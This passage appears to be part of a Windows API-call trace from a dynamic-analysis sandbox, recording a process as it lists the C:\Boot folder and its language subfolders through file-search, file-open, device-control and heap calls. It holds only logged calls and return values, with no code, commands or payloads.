nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0039.370] GetLastError () returned 0x12 [0039.370] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e9000 [0039.370] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0039.371] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0039.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.371] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.372] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.372] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.372] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.372] NtClose (Handle=0x15c) returned 0x0 [0039.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.372] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.372] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.373] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4890 [0039.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f1d0 [0039.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.374] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.374] GetLastError () returned 0x12 [0039.374] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.374] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.374] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.374] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.374] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.374] GetLastError () returned 0x12 [0039.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.374] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.374] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0039.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.374] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.374] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.375] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.375] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.375] NtClose (Handle=0x124) returned 0x0 [0039.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.375] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d48b0 [0039.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f0c0 [0039.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.375] GetLastError () returned 0x12 [0039.375] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.375] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.376] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.376] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.376] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.376] GetLastError () returned 0x12 [0039.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.376] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.376] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0039.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.376] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.377] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.377] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.377] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.377] NtClose (Handle=0x15c) returned 0x0 [0039.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.377] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.377] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.377] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d48d0 [0039.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f038 [0039.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.378] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.378] GetLastError () returned 0x12 [0039.378] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.378] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.378] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, 